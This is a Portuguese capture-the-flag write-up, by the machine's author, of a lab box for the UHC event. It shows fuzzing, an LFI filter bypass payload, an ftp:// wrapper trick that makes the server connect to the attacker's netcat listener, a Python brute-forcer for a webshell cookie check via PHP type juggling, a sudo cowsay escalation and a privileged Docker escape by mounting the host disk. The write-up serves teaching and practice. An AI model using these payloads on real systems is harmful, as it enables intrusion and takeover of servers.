Essa máquina foi feita por mim com ajuda dos meus amigos Luska e Kadu para o UHC. Os arquivos dela e o Dockerfile estarão no meu GitHub.
Recon
A primeira página é uma linda arte (uma deface), dizendo que o site foi hackeado:
Logo de cara temos uma flag, essa eu não censurei pois é literalmente abrir o site. Lendo o source code da página não encontrei nada, como esse arquivo deve ser o index vamos rodar um fuzzing no site para achar mais arquivos e diretórios. Utilizei o ffuf com as wordlists do seclists.
common.txt:
De costume vou testar esse /uploads/, mas deu 404 😢
raft-small-files.txt:
Parece que encontramos um também “home.php” vamos dar uma olhada:
Um site sobre customização de carros, vamos dar uma navegada no site para ver se encontramos algo interessante:
Logo percebemos que quando clicamos nos botões ali no cabeçalho não somos redirecionados para a página deles, e sim a página deles é “incluída” em um parâmetro GET no home.php:
Isso parece estar vulnerável a Local File Inclusion (LFI), uma vulnerabilidade que permite ao atacante incluir ou ler arquivos do servidor…
(Agora vai ter uma divisão no write-up para você que fez a máquina no dia do uhc ou no UHCLABS ou se você estiver rodando no docker. Se você estiver no docker ou localmente sem nenhum WAF é só pular a próxima parte “WAF bypass”)
Exploitation
LFI
No UHC havia um WAF do cloudfare, e isso impossibilitou ler arquivos do servidor completamente, então vamos seguir com a exploração do nosso LFI, vamos fazer um teste tentando incluir o nosso home.php alterando a URL para: (apenas home pois nas outras páginas ele auto completa o .php):
https://hacked.uhclabs.com/home.php?page=home
A página ficou duplicada, e no source podemos comprovar isso, porém, se a página é um php que inclui outras páginas, onde está as tags php e o código php para nós vermos como isso funciona?
Ai é que está o WAF (Web Application Firewall) está omitindo o código php do nosso arquivo. Então teremos de fazer um Bypass do WAF e acessar diretamente o ip do servidor, e para isso vamos aproveitar nosso LFI.
Exploitation Bypass WAF
Para explorar esse bypass utilizaremos os wrappers do php. (https://www.php.net/manual/en/wrappers.php)
Vamos usar o wrapper do ftp para fazer o site fazer uma requisição para o nosso IP como se fosse se conectar ao ftp assim nos indicando qual é o IP real do servidor.
Na minha máquina:
nc -lvp 4444
Payload:
https://hacked.uhclabs.com/home.php?page=ftp://IP:PORT/x
Recebemos:
Esses servidores ec2 da amazom para pegar o ip é só pegar esses números da url: 34.219.224.183
Vamos acessar e rodar a inclusão do home.php e deve funcionar.
Apenas trocando a URL por home ele automaticamente adicionou o .php e nos mostrou o conteúdo do arquivo home.php.
Lendo esse código podemos perceber que ele tem algumas proteções quanto a algumas coisas. Vamos tentar ler arquivos do servidor no caso o clássico /etc/passwd:
(../ serve para voltar diretórios)
Pelo o que podemos ver retornou um erro, que podemos entender já que temos o código. Da nossa payload ele retirou todos os “../” e substituiu por “” (nada) , ele retirou a palavra “passwd” e trocou por “ERROR” e por fim adicionou “.php” no final, logo o arquivo não existe e ele não mostra o conteúdo.
Lendo o código podemos ver que a proteção de “../” está vulnerável a um bypass que consiste em escrever uma palavra dentro da outra:
pal(palavra)avra -> palpalavraavra
.(../)./ -> ..././
Assim quando o código retirar a primeira palavra ele vai concatenar a palavra proibida passando o que queremos.
Para bypassarmos o ERROR não vamos conseguir, portando vamos ler outro arquivo que não esteja na nossa blackllist como /etc/hosts.
Agora o .php no final, tem uma linha no código que diz que se existir um parâmetro GET chamado “ext” ele vai usar o que estiver nele para completar a extensão do arquivo, e se o parâmetro não estiver setado ele vai adicionar .php no final. Logo o que temos que fazer é setar o parâmetro ext para ““(nada).
Vamos a payload:
34.219.224.183/home.php?page=..././..././..././..././..././etc/hosts&ext=
Conseguimos!
Bom agora parece que teremos que ler algum arquivo do servidor, poderíamos fazer um fuzzing usando o LFI ou refazer nosso fuzzing novamente e usar o LFI para ler os arquivos. Rodei a wordlist raft-large-words.txt com a extensão php. (Usei um filtro de tamanho do ffuf “-fs 283”)
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u 'https://hacked.uhclabs.com/uploads/FUZZ' -e .php
Parece que encontramos a webshell que o hacker usou para invadir esse sistema, vamos dar uma olhada nela e ao mesmo tempo usar o nosso LFI para ler ela. Opa achamos uma flag!
Exploitation
Part2
Pelo jeito é uma webshell com senha:
<?php
$pass1 = $_GET['pass1'];
$pass2 = $_GET['pass2'];
$secret = file_get_contents('../../secret'); // /var/www
$hmac_client = hash_hmac('sha256', $pass1, $pass2);
$hmac_server = hash_hmac('sha256', 'Gu%40$!mN0123', $secret);
$hmac_server = (int)$hmac_server;
if($_COOKIE['token']){
$hmac_client = $_COOKIE['token'];
};
if($hmac_client == $hmac_server):
setcookie('token', $hmac_client);
?>
Esse é o código, dando uma olhada ele faz uma hash usando a senha1(Gu%40$!mN0123) e a senha2 (conteúdo do ../../secret), e ele compara essa hash com a hash feita com os valores que o usuário passa via GET, porém existe um (int) que transforma a hash do servidor em um valor inteiro. Vamos reproduzir isso localmente…
<?php
$secret = "anything";
$hmac_server = hash_hmac('sha256', 'Gu%40$!mN0123', $secret);
echo "hash: ";
echo $hmac_server;
echo " ";
echo "int: ";
echo (int)$hmac_server;
?>
Retorna:
Aqui vemos como essa conversão da hash para um numero inteiro funciona, o php pega então os primeiros números da hash com o (int) e compara com o valor passado pelo usuário, outra coisa legal é que o usuário pode passar esse valor via COOKIE…, logo poderemos declarar nosso cookie “token” para algum número inteiro e a comparação ira dar TRUE.
if($hmac_client == $hmac_server): // vulnerable
Vamos então encontrar um número inteiro que consiga gerar TRUE na comparação e bypassar a autenticação da webshell. Podemos ver no código que existe um parâmetro POST chamado cmd que é usado quando a autenticação retorna TRUE , e esse parâmetro é o código que será executado na webshell. Pensando nisso escrevi um exploit em python para fazer um bruteforce de valores numéricos no cookie até conseguir a autenticação e por fim rodar o comando que eu quiser na máquina.
import requests
import sys
cmd = sys.argv[1]
url = "http://34.219.224.183/uploads/webshell.php"
for num in range(0, 1000):
token = num
print("[INFO] Testing: ", token)
cookies = {'token': str(token)}
r = requests.get(url, cookies=cookies)
if len(r.text) != 565:
print("[EXPLOIT] Token:", token, "CMD:", cmd)
payload = {'cmd': cmd}
a = requests.post(url, data=payload, cookies=cookies)
print(a)
Funcionou o cookie que começa com 9, mesmo ja tendo RCE, vamos setar o cookie e ver a webshell…
Apenas setei o cookie para 9:
Uma webshell muito linda! Agora que temos RCE vamos pegar uma shell.
Exploitation
Part3
Habemos Shel!
Eu utilizei um site para pegar a shell porém, eu poderia ter usado também o https://www.revshells.com/ que é um gerador de comandos, para pegar uma shell, eu apenas coloco as informações e ele gera a payload para eu mandar para o servidor 😉.
Full tty shell
in your rev-shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your rev-shell~ export TERM=xterm
Fazendo um recon básico com o “sudo -l” podemos ver que conseguimos rodar um programa com um outro usuário na maquina sem senha.
No caso o programa que podemos rodar é o cowsay:
Dando uma olhada no GTFObins podemos ver como funciona o priv esc utilizando o cowsay:
Basicamente o argumento -f no cowsay nos permite setar o “estilo” da vaquinha, porém esse estilo é um script em perl, logo podemos escrever um template malicioso e mandar o cowsay executar, agora vamos apenas fazer isso.
Agora como usuário john rodando um “ls -la” na home dele podemos encontrar a próxima flag:
Exploitation
Part4
Rodando novamente o “sudo -l” podemos rodar /bin/sh como root sem senha, então bora la pegar esse root!
Ué, cade a flag? Esse root não foi muito facil?
Parece que estamos dentro de um docker e teremos que escapar dele, eu poderia testar algumas formas manuais de verificar como vamos fazer isso porém rodei uma tool chamada deepce que ja me deu uma dica de um possível vetor de ataque…
Pelo jeito estamos em um container privilegiado, isso significa que podemos montar os arquivos do host dentro do nosso container ou até mesmo executar comandos no host.
Vamos rodar um: (Para visualizar os discos do servidor do host)
fdisk -l
E então montar o disco no nosso container:
mkdir -p /mnt/a
mount /dev/xvda1 /mnt/a
Agora vamos usar o chroot aonde montamos o disco:
E conseguimos! mais uma flag de brinde!
Espero que tenham gostado, para você que leu até aqui, obrigado!
H4ckTh3Pl4n3t!